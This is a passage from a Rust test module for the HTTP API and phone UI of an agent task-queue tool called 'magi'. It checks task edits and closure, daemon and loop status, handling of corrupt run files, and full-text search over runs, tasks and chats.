16845        // The judge is an agent now: a repo whose only agent answers
16846        // "duplicate" stands in for it, so the refusal is the judge's.
16847        let tmp = TempDir::new().expect("tempdir");
16848        let repo = tmp.path().join("repo");
16849        std::fs::create_dir_all(&repo).expect("repo dir");
16850        let judge = MOCK_AGENT_TOML.replace(
16851            "printf ok",
16852            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
16853        );
16854        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
16855        let f = Fixture::with_repo(repo.clone()).await;
16856        let queue = f.queue();
16857        let mut owner = Task::new(
16858            "owner".to_owned(),
16859            "review it".to_owned(),
16860            repo.clone(),
16861            Source::Human,
16862        );
16863        owner.review_branch = Some("magi/ab12/A".to_owned());
16864        queue.put(&mut owner).expect("file the owner");
16865        let mut task = Task::new(
16866            "draft".to_owned(),
16867            "old".to_owned(),
16868            repo.clone(),
16869            Source::Human,
16870        );
16871        queue.put(&mut task).expect("file the draft");
16872        let url = format!("/api/queue/{}/edit", task.id);
16873
16874        let refused = f
16875            .post(
16876                &url,
16877                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
16878            )
16879            .await;
16880        assert_eq!(refused.status, 409, "{}", refused.body);
16881        let msg = refused.json()["error"]
16882            .as_str()
16883            .unwrap_or_default()
16884            .to_owned();
16885        assert!(
16886            msg.contains("magi/ab12/A") && msg.contains("force"),
16887            "{msg}"
16888        );
16889        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
16890
16891        let forced = f
16892            .post(
16893                &url,
16894                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
16895            )
16896            .await;
16897        assert_eq!(forced.status, 200, "{}", forced.body);
16898    }
16899
16900    #[tokio::test]
16901    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
16902        let f = Fixture::start().await;
16903        let queue = f.queue();
16904        let mut task = Task::new(
16905            "in flight".to_owned(),
16906            "do not touch".to_owned(),
16907            PathBuf::from("/repo/magi"),
16908            Source::Human,
16909        );
16910        task.start("20260902-140502-bbbb".to_owned());
16911        queue.put(&mut task).expect("file the task");
16912
16913        let res = f
16914            .post(
16915                &format!("/api/queue/{}/edit", task.id),
16916                Some(r#"{"title":"x","instruction":"y"}"#),
16917            )
16918            .await;
16919        assert_eq!(res.status, 400, "{}", res.body);
16920        assert!(
16921            res.json()["error"]
16922                .as_str()
16923                .is_some_and(|e| e.contains("running")),
16924            "{}",
16925            res.body
16926        );
16927        assert_eq!(
16928            queue.get(&task.id).expect("reload").instruction,
16929            "do not touch",
16930            "the refused edit must not change the file"
16931        );
16932    }
16933
16934    #[tokio::test]
16935    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
16936        let f = Fixture::start().await;
16937        let queue = f.queue();
16938        let mut task = Task::new(
16939            "busy".to_owned(),
16940            "Running right now".to_owned(),
16941            PathBuf::from("/repo/magi"),
16942            Source::Human,
16943        );
16944        queue.put(&mut task).expect("file the task");
16945        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16946
16947        let priority = f
16948            .post(
16949                &format!("/api/queue/{}/priority", task.id),
16950                Some(r#"{"priority":9}"#),
16951            )
16952            .await;
16953        assert_eq!(priority.status, 409, "{}", priority.body);
16954
16955        let edit = f
16956            .post(
16957                &format!("/api/queue/{}/edit", task.id),
16958                Some(r#"{"title":"x","instruction":"y"}"#),
16959            )
16960            .await;
16961        assert_eq!(edit.status, 409, "{}", edit.body);
16962    }
16963
16964    #[tokio::test]
16965    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
16966        let f = Fixture::start().await;
16967        let queue = f.queue();
16968        let mut task = Task::new(
16969            "shipped by hand".to_owned(),
16970            "merged outside the loop".to_owned(),
16971            PathBuf::from("/repo/magi"),
16972            Source::Agent {
16973                run: "20260101-000000-b455".to_owned(),
16974                node: "implement".to_owned(),
16975            },
16976        );
16977        task.runs.push("20260101-000000-b455".to_owned());
16978        task.runs.push("20260101-000000-9af4".to_owned());
16979        queue.put(&mut task).expect("file the task");
16980        let created_at = task.created_at;
16981
16982        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16983        assert_eq!(done.status, 200, "{}", done.body);
16984        assert_eq!(done.json()["status_str"], "done");
16985
16986        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
16987        assert_eq!(
16988            reloaded.runs,
16989            ["20260101-000000-b455", "20260101-000000-9af4"]
16990        );
16991        assert_eq!(
16992            reloaded.source,
16993            Source::Agent {
16994                run: "20260101-000000-b455".to_owned(),
16995                node: "implement".to_owned(),
16996            }
16997        );
16998        assert_eq!(reloaded.created_at, created_at);
16999    }
17000
17001    #[tokio::test]
17002    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17003        // `done` is allowed on any status, including `held`, with no release
17004        // in between - so a task held for a reason and then closed directly
17005        // must not keep reading as "waiting on" it afterwards, on its card or
17006        // in `magi task show`.
17007        let f = Fixture::start().await;
17008        let queue = f.queue();
17009        let mut task = Task::new(
17010            "landed while held".to_owned(),
17011            "x".to_owned(),
17012            PathBuf::from("/repo/magi"),
17013            Source::Human,
17014        );
17015        task.hold_manual(Some("waiting on 3ed9".to_owned()));
17016        queue.put(&mut task).expect("file the held task");
17017
17018        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17019        assert_eq!(done.status, 200, "{}", done.body);
17020        assert_eq!(done.json()["status_str"], "done");
17021        assert!(
17022            done.json()["hold_reason"].is_null(),
17023            "a done task cannot still be waiting on something: {}",
17024            done.body
17025        );
17026    }
17027
17028    #[tokio::test]
17029    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17030        // `queue_done` is the phone's way to close a task the loop never
17031        // settled itself - after confirming a manual GitHub merge, say - and
17032        // that is just as much "this task's story is over" as the loop's own
17033        // `Merged`/`Ready` path, so it must trigger the same cleanup.
17034        let f = Fixture::start().await;
17035        let queue = f.queue();
17036        let runs = f.runs();
17037        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17038        // The last attempt has to have actually landed for the earlier one
17039        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
17040        // for the case where it didn't.
17041        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17042
17043        let mut task = Task::new(
17044            "landed by hand".to_owned(),
17045            "x".to_owned(),
17046            PathBuf::from("/repo/magi"),
17047            Source::Human,
17048        );
17049        task.runs.push("20260101-000000-doa1".to_owned());
17050        task.runs.push("20260101-000000-doa2".to_owned());
17051        queue.put(&mut task).expect("file the task");
17052
17053        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17054        assert_eq!(done.status, 200, "{}", done.body);
17055
17056        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17057            .expect("run still on disk under this fixture's own home");
17058        assert_eq!(
17059            reloaded_run.status,
17060            RunStatus::Superseded,
17061            "closing the task by hand must relabel the earlier blocked attempt exactly \
17062             like the loop's own settle path does"
17063        );
17064    }
17065
17066    #[tokio::test]
17067    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17068        // Closing a task by hand is allowed from any status, including one
17069        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
17070        // manual merge the loop never watched, say. Nothing here is provably
17071        // why the task is done, so nothing earlier gets relabelled either.
17072        let f = Fixture::start().await;
17073        let queue = f.queue();
17074        let runs = f.runs();
17075        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17076        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17077
17078        let mut task = Task::new(
17079            "closed with nothing actually landed".to_owned(),
17080            "x".to_owned(),
17081            PathBuf::from("/repo/magi"),
17082            Source::Human,
17083        );
17084        task.runs.push("20260101-000000-dob1".to_owned());
17085        task.runs.push("20260101-000000-dob2".to_owned());
17086        queue.put(&mut task).expect("file the task");
17087
17088        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17089        assert_eq!(done.status, 200, "{}", done.body);
17090
17091        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17092            .expect("run still on disk under this fixture's own home");
17093        assert_eq!(
17094            reloaded_run.status,
17095            RunStatus::Blocked,
17096            "the last recorded attempt never landed, so the earlier one must not be \
17097             relabelled as superseded by it"
17098        );
17099    }
17100
17101    #[tokio::test]
17102    async fn unknown_ids_are_json_not_found_on_both_stores() {
17103        let f = Fixture::start().await;
17104
17105        let run = f.get("/api/runs/nosuchrun").await;
17106        let task = f.post("/api/queue/nosuchtask/hold", None).await;
17107
17108        assert_eq!(run.status, 404);
17109        assert_eq!(task.status, 404);
17110        assert!(
17111            run.json()["error"]
17112                .as_str()
17113                .is_some_and(|e| e.contains("run")),
17114            "the error names what was not found: {}",
17115            run.body
17116        );
17117        assert!(
17118            task.json()["error"]
17119                .as_str()
17120                .is_some_and(|e| e.contains("task")),
17121            "the error names what was not found: {}",
17122            task.body
17123        );
17124    }
17125
17126    #[tokio::test]
17127    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17128        let f = Fixture::start().await;
17129
17130        let missing = f.get("/api/health").await.json();
17131        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17132
17133        write_daemon(
17134            f.home.path(),
17135            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17136        );
17137        let stale = f.get("/api/health").await.json();
17138        assert_eq!(
17139            stale["daemon"]["running"], false,
17140            "a minute without a heartbeat is a dead daemon, not a busy one"
17141        );
17142        assert!(
17143            stale["daemon"]["stale_for_secs"]
17144                .as_i64()
17145                .is_some_and(|s| s >= 55),
17146            "staleness is reported so the UI can say how long: {stale}"
17147        );
17148
17149        write_daemon(f.home.path(), Timestamp::now());
17150        let fresh = f.get("/api/health").await.json();
17151        assert_eq!(fresh["daemon"]["running"], true);
17152        assert_eq!(fresh["daemon"]["idle"], false);
17153        assert_eq!(fresh["daemon"]["pid"], 4242);
17154        assert_eq!(fresh["daemon"]["completed"], 7);
17155        assert_eq!(
17156            fresh["daemon"]["current"][0]["task"],
17157            "20260902-140501-aaaa"
17158        );
17159        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17160    }
17161
17162    #[tokio::test]
17163    async fn the_loop_is_not_running_until_something_starts_it() {
17164        let f = Fixture::start().await;
17165
17166        let view = f.get("/api/loop").await.json();
17167        assert_eq!(view["running"], false);
17168        assert_eq!(
17169            view["owned"], false,
17170            "nobody owns a loop that does not exist: {view}"
17171        );
17172        assert_eq!(view["stopping"], false);
17173        assert_eq!(view["last_error"], Value::Null);
17174        assert_eq!(view["daemon"]["running"], false);
17175        assert_eq!(
17176            view["repo"], "/repo/magi",
17177            "the repository a start would use, named before it is started"
17178        );
17179    }
17180
17181    #[tokio::test]
17182    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17183        let f = Fixture::start().await;
17184
17185        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17186        assert_eq!(res.status, 200, "{}", res.body);
17187        let view = res.json();
17188        assert_eq!(view["running"], true);
17189        assert_eq!(
17190            view["owned"], true,
17191            "the loop the UI started is the UI's own to stop: {view}"
17192        );
17193        assert_eq!(
17194            view["merge"],
17195            Value::Null,
17196            "no override was given, so each repository's own config decides"
17197        );
17198
17199        // The same object from the route a waking phone polls first. Two
17200        // surfaces disagreeing about whether anything is running is exactly
17201        // the confusion this UI exists to remove.
17202        let health = f.get("/api/health").await.json();
17203        assert_eq!(health["loop"]["running"], true, "{health}");
17204        assert_eq!(health["loop"]["owned"], true, "{health}");
17205
17206        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17207    }
17208
17209    #[tokio::test]
17210    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17211        let f = Fixture::start().await;
17212        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17213        assert_eq!(first.status, 200, "{}", first.body);
17214
17215        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17216        assert_eq!(
17217            again.status, 409,
17218            "two loops on one queue race for the same claims: {}",
17219            again.body
17220        );
17221        assert!(
17222            again.json()["error"]
17223                .as_str()
17224                .is_some_and(|e| e.contains("already running the loop")),
17225            "the refusal has to say why: {}",
17226            again.body
17227        );
17228        assert_eq!(
17229            f.get("/api/loop").await.json()["running"],
17230            true,
17231            "and the loop that was already running is untouched by it"
17232        );
17233
17234        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17235    }
17236
17237    #[tokio::test]
17238    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17239        let f = Fixture::start().await;
17240        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17241
17242        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17243        assert_eq!(
17244            res.status, 200,
17245            "the answer must not wait for the loop: a run in flight is tens of \
17246             minutes and the operator is holding a phone: {}",
17247            res.body
17248        );
17249
17250        let view = settled(&f, |v| v["running"] == false).await;
17251        assert_eq!(view["owned"], false);
17252        assert_eq!(
17253            view["stopping"], false,
17254            "a loop that has stopped is not still stopping: {view}"
17255        );
17256        assert_eq!(
17257            view["last_error"],
17258            Value::Null,
17259            "a loop that was asked to stop did not fail: {view}"
17260        );
17261
17262        // Idempotent, because the operator cannot tell a slow stop from a lost
17263        // one and will press it again.
17264        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17265        assert_eq!(twice.status, 200, "{}", twice.body);
17266    }
17267
17268    #[tokio::test]
17269    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17270        let f = Fixture::start().await;
17271        // How the operator has been doing it: a `magi serve` of their own,
17272        // heartbeat fresh, in the same home this UI reads.
17273        write_daemon(f.home.path(), Timestamp::now());
17274
17275        let view = f.get("/api/loop").await.json();
17276        assert_eq!(view["running"], false, "not in this process: {view}");
17277        assert_eq!(view["owned"], false, "and not this process's to control");
17278        assert_eq!(
17279            view["daemon"]["running"], true,
17280            "but a loop is alive somewhere, which is what the UI must say"
17281        );
17282        assert_eq!(view["daemon"]["pid"], 4242);
17283
17284        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17285            let res = f.post("/api/loop", Some(body)).await;
17286            assert_eq!(
17287                res.status, 409,
17288                "neither button may pretend to work on someone else's loop: {}",
17289                res.body
17290            );
17291            assert!(
17292                res.json()["error"]
17293                    .as_str()
17294                    .is_some_and(|e| e.contains("4242")),
17295                "the refusal has to name the process the operator must go to: {}",
17296                res.body
17297            );
17298        }
17299        assert_eq!(
17300            f.get("/api/loop").await.json()["running"],
17301            false,
17302            "and the refusal started nothing"
17303        );
17304    }
17305
17306    #[tokio::test]
17307    async fn a_stale_status_file_is_not_a_foreign_owner() {
17308        let f = Fixture::start().await;
17309        write_daemon(
17310            f.home.path(),
17311            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17312        );
17313
17314        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17315        assert_eq!(
17316            res.status, 200,
17317            "a daemon killed a minute ago must not lock the loop out of its \
17318             own home for good: {}",
17319            res.body
17320        );
17321        assert_eq!(res.json()["running"], true);
17322
17323        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17324    }
17325
17326    #[tokio::test]
17327    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17328        let f = Fixture::start().await;
17329        let before = f.get("/api/health").await.json()["loop_rev"]
17330            .as_u64()
17331            .expect("a loop revision");
17332
17333        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17334
17335        let after = f.get("/api/health").await.json()["loop_rev"]
17336            .as_u64()
17337            .expect("a loop revision");
17338        assert!(
17339            after > before,
17340            "the loop is in-process state, so this counter is the only thing \
17341             that tells a second device the first one started it: {before} -> \
17342             {after}"
17343        );
17344
17345        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17346    }
17347
17348    #[tokio::test]
17349    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17350        let f = Fixture::with_loop(launch_broken).await;
17351
17352        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17353        assert_eq!(
17354            res.status, 200,
17355            "starting it is not the failure: {}",
17356            res.body
17357        );
17358
17359        let view = settled(&f, |v| v["last_error"].is_string()).await;
17360        assert_eq!(
17361            view["running"], false,
17362            "a loop that died must not read as running, or the operator has \
17363             nothing to press: {view}"
17364        );
17365        assert_eq!(view["owned"], false);
17366        assert!(
17367            view["last_error"]
17368                .as_str()
17369                .is_some_and(|e| e.contains("read-only file system")),
17370            "the phone is where a loop that died at 3am is visible: {view}"
17371        );
17372
17373        // And it can be started again: the corpse was reaped, not left to
17374        // occupy the slot.
17375        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17376        assert_eq!(again.status, 200, "{}", again.body);
17377        assert!(
17378            again.json()["last_error"]
17379                .as_str()
17380                .is_none_or(|e| !e.contains("read-only file system")),
17381            "a fresh start does not keep showing why the last one died: {}",
17382            again.body
17383        );
17384    }
17385
17386    #[tokio::test]
17387    async fn a_newer_daemon_status_file_still_renders() {
17388        let f = Fixture::start().await;
17389        // A field this build has never heard of must not turn the status line
17390        // into a 500; that is the whole reason the reader is permissive.
17391        std::fs::write(
17392            f.home.path().join("daemon.json"),
17393            serde_json::json!({
17394                "schema": 2,
17395                "updated_at": Timestamp::now().to_string(),
17396                "idle": true,
17397                "surprise": { "nested": [1, 2, 3] },
17398            })
17399            .to_string(),
17400        )
17401        .expect("write daemon.json");
17402
17403        let health = f.get("/api/health").await;
17404
17405        assert_eq!(health.status, 200);
17406        assert_eq!(health.json()["daemon"]["running"], true);
17407    }
17408
17409    #[tokio::test]
17410    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17411        let f = Fixture::start().await;
17412        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17413        let broken = f.runs().join("20260902-140502-bad");
17414        std::fs::create_dir_all(&broken).expect("run dir");
17415        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17416
17417        let list = f.get("/api/runs").await;
17418        let detail = f.get("/api/runs/20260902-140502-bad").await;
17419
17420        assert_eq!(list.status, 200);
17421        let listed = list.json();
17422        let ids: Vec<&str> = listed
17423            .as_array()
17424            .expect("an array")
17425            .iter()
17426            .map(|r| r["id"].as_str().expect("an id"))
17427            .collect();
17428        assert_eq!(
17429            ids,
17430            vec!["20260902-140501-good"],
17431            "one unreadable run must not cost the operator the whole history"
17432        );
17433        assert_eq!(detail.status, 500);
17434        assert!(
17435            detail.json()["error"]
17436                .as_str()
17437                .is_some_and(|e| e.contains("run.json")),
17438            "the failure names the file to look at: {}",
17439            detail.body
17440        );
17441        // A skipped run has to be countable somewhere, or the UI shows an
17442        // empty history with nothing to explain it - which is exactly what a
17443        // directory full of older-schema runs looks like.
17444        let health = f.get("/api/health").await;
17445        assert_eq!(health.json()["runs_unreadable"], 1);
17446    }
17447
17448    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
17449    #[tokio::test]
17450    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17451        let f = Fixture::start().await;
17452        let runs = f.runs();
17453        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17454        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17455        // Text three levels down, in a shape no current RunState has: an older
17456        // schema must still search.
17457        let path = runs.join("20260902-140502-bbbb").join("run.json");
17458        let mut v: serde_json::Value =
17459            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17460        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17461        std::fs::write(&path, v.to_string()).unwrap();
17462        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17463        std::fs::write(
17464            runs.join("20260902-140503-cccc").join("run.json"),
17465            "{ not json",
17466        )
17467        .unwrap();
17468
17469        let res = f.get("/api/search?scope=runs&q=quokka").await;
17470        assert_eq!(res.status, 200, "{}", res.body);
17471        let v = res.json();
17472        assert_eq!(v["total"], 1, "{v}");
17473        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17474        assert_eq!(v["hits"][0]["field"], "text");
17475        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17476        let parts = v["hits"][0]["snippet"].as_array().unwrap();
17477        assert!(
17478            parts
17479                .iter()
17480                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17481            "{v}"
17482        );
17483        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17484        assert_eq!(
17485            flat, "The Quokka leaks across threads",
17486            "whitespace is collapsed"
17487        );
17488
17489        // Terms are ANDed, across different fields, case-insensitively.
17490        let both = f
17491            .get("/api/search?scope=runs&q=MOBILE%20quokka")
17492            .await
17493            .json();
17494        assert_eq!(both["total"], 1, "{both}");
17495        let neither = f
17496            .get("/api/search?scope=runs&q=quokka%20zebra")
17497            .await
17498            .json();
17499        assert_eq!(neither["total"], 0, "{neither}");
17500        // Everything in the task statement is reachable, not only the row text.
17501        let stmt = f
17502            .get("/api/search?scope=runs&q=mobile%20first")
17503            .await
17504            .json();
17505        assert_eq!(stmt["total"], 2, "{stmt}");
17506        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17507        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17508    }
17509
17510    #[test]
17511    fn snippet_ignores_terms_longer_than_the_field() {
17512        let terms = ["ok".to_owned(), "elephant".to_owned()];
17513        let parts = snippet_of("ok", &terms);
17514        assert_eq!(
17515            parts,
17516            vec![SnippetPart {
17517                text: "ok".to_owned(),
17518                hit: true
17519            }]
17520        );
17521    }
17522
17523    #[test]
17524    fn snippet_marks_matches_longer_than_the_window() {
17525        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17526        let hit_len = |parts: &[SnippetPart]| -> usize {
17527            parts
17528                .iter()
17529                .filter(|p| p.hit)
17530                .map(|p| p.text.chars().count())
17531                .sum()
17532        };
17533        let total =
17534            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17535
17536        let long = "a".repeat(120);
17537        let parts = snippet_of(&long, std::slice::from_ref(&long));
17538        assert!(hit_len(&parts) > 0, "{parts:?}");
17539        assert!(total(&parts) <= cap);
17540
17541        let ja = "あ".repeat(130);
17542        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17543        assert!(hit_len(&parts) > 0, "{parts:?}");
17544        assert!(total(&parts) <= cap);
17545
17546        // A short hit, then one straddling the window's end.
17547        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17548        let term = format!("ab{}", "c".repeat(100));
17549        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17550        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17551        assert!(total(&parts) <= cap);
17552
17553        // Only the head matches: not highlighted.
17554        let text = format!("{}z", "a".repeat(119));
17555        let parts = snippet_of(&text, &["a".repeat(120)]);
17556        assert_eq!(hit_len(&parts), 0, "{parts:?}");
17557    }
17558
17559    #[tokio::test]
17560    async fn search_caps_hits_and_snippet_length() {
17561        let f = Fixture::start().await;
17562        let runs = f.runs();
17563        for n in 0..(SEARCH_MAX_HITS + 5) {
17564            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17565        }
17566        let v = f.get("/api/search?scope=runs&q=web").await.json();
17567        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17568        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17569        assert_eq!(v["truncated"], true);
17570        // Every listed run hit carries its list row for the page's filters.
17571        assert!(
17572            v["hits"]
17573                .as_array()
17574                .unwrap()
17575                .iter()
17576                .all(|h| h["run"]["status"] == "merged")
17577        );
17578
17579        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17580        let parts = snippet_of(&long, &["needle".to_owned()]);
17581        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17582        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17583        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17584    }
17585
17586    #[tokio::test]
17587    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17588        let f = Fixture::start().await;
17589        let queue = f.queue();
17590        let mut t = Task::new(
17591            "short title".to_owned(),
17592            "line one\nthe hidden Armadillo detail".to_owned(),
17593            PathBuf::from("/repo/magi"),
17594            Source::Agent {
17595                run: "r1".to_owned(),
17596                node: "chat".to_owned(),
17597            },
17598        );
17599        t.last_error = Some("disk full on /tmp".to_owned());
17600        queue.put(&mut t).expect("file the task");
17601
17602        for (q, want) in [
17603            ("armadillo", 1),
17604            ("disk%20FULL", 1),
17605            ("chat", 1),
17606            ("queued", 1),
17607            ("short%20nothing", 0),
17608        ] {
17609            let v = f
17610                .get(&format!("/api/search?scope=tasks&q={q}"))
17611                .await
17612                .json();
17613            assert_eq!(v["total"], want, "{q}: {v}");
17614        }
17615        for bad in [
17616            "/api/search?scope=tasks&q=",
17617            "/api/search?scope=tasks&q=%20",
17618            "/api/search?scope=chats&q=",
17619            "/api/search?scope=chats&q=%20",
17620            "/api/search?scope=nope&q=a",
17621            "/api/search?q=a",
17622        ] {
17623            assert_eq!(f.get(bad).await.status, 400, "{bad}");
17624        }
17625    }
17626
17627    /// Write one conversation file the way the store reads it back.
17628    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17629        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17630            .expect("seat value");
17631        let turns: Vec<serde_json::Value> = turns
17632            .iter()
17633            .map(|(who, body)| {
17634                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17635            })
17636            .collect();
17637        let doc = serde_json::json!({
17638            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17639            "status": status, "turns": turns,
17640            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17641            "seat": seat,
17642        });
17643        let dir = f.home.path().join("talks");
17644        std::fs::create_dir_all(&dir).expect("talks dir");
17645        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17646    }
17647
17648    #[tokio::test]
17649    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17650        let f = Fixture::start().await;
17651        write_talk(
17652            &f,
17653            "20260901-000001-aaaa",
17654            "open",
17655            &[
17656                (
17657                    "operator",
17658                    "\n  Why does the Pangolin cache expire?\nsecond line",
17659                ),
17660                ("agent", "Because the TTL is thirty seconds."),
17661            ],
17662        );
17663        write_talk(
17664            &f,
17665            "20260901-000002-bbbb",
17666            "closed",
17667            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17668        );
17669        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17670
17671        let search = |q: &'static str| {
17672            let f = &f;
17673            async move {
17674                f.get(&format!("/api/search?scope=chats&q={q}"))
17675                    .await
17676                    .json()
17677            }
17678        };
17679
17680        let v = search("PANGOLIN").await;
17681        assert_eq!(v["scope"], "chats");
17682        assert_eq!(v["total"], 1, "{v}");
17683        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
17684        assert_eq!(v["hits"][0]["field"], "title");
17685        assert_eq!(v["unreadable"], 1, "{v}");
17686        let marked: Vec<&str> = v["hits"][0]["snippet"]
17687            .as_array()
17688            .unwrap()
17689            .iter()
17690            .filter(|p| p["hit"] == true)
17691            .map(|p| p["text"].as_str().unwrap())
17692            .collect();
17693        assert_eq!(marked, ["Pangolin"]);
17694
17695        // An agent turn, in a closed conversation.
17696        let v = search("zebra").await;
17697        assert_eq!(v["total"], 1, "{v}");
17698        assert_eq!(v["hits"][0]["field"], "agent");
17699        // Words may sit in different turns; all must be present.
17700        assert_eq!(search("pangolin%20thirty").await["total"], 1);
17701        assert_eq!(search("pangolin%20zebra").await["total"], 0);
17702        // Bookkeeping is not searched.
17703        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17704            assert_eq!(search(q).await["total"], 0, "{q}");
17705        }
17706        // The first line only is the title; the second line is still a turn.
17707        assert_eq!(search("second").await["hits"][0]["field"], "operator");
17708        // Open conversations are listed before closed ones.
17709        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17710
17711        let v = f.get("/api/search?scope=nope&q=a").await;
17712        assert_eq!(v.status, 400);
17713        assert!(
17714            v.body.contains("scope must be runs, tasks or chats"),
17715            "{}",
17716            v.body
17717        );
17718    }
17719
17720    #[test]
17721    fn a_question_card_links_a_task_id_to_the_task_page() {
17722        let start = APP_JS
17723            .find("function updateAskCard(")
17724            .expect("updateAskCard exists");
17725        let body = &APP_JS[start..];
17726        let body = &body[..body.find("\n}\n").expect("function end")];
17727        assert!(body.contains("question.run_is_task"));
17728        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17729        assert!(body.contains("`#/runs/${question.run}`"));
17730        assert!(body.contains("\"task\" : \"run\""));
17731    }
17732
17733    #[test]
17734    fn plain_text_message_surfaces_go_through_linkify() {
17735        assert!(APP_JS.contains("function linkify("));
17736        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17737        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17738        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17739        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17740        assert!(!APP_JS.contains("innerHTML = text"));
17741    }
17742
17743    #[test]
17744    fn implementation_rate_views_keep_independent_samples() {
17745        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17746            let a = stats::AgentStats {
17747                competitive_entered: competitive_n,
17748                competitive_wins: usize::from(competitive_n > 0),
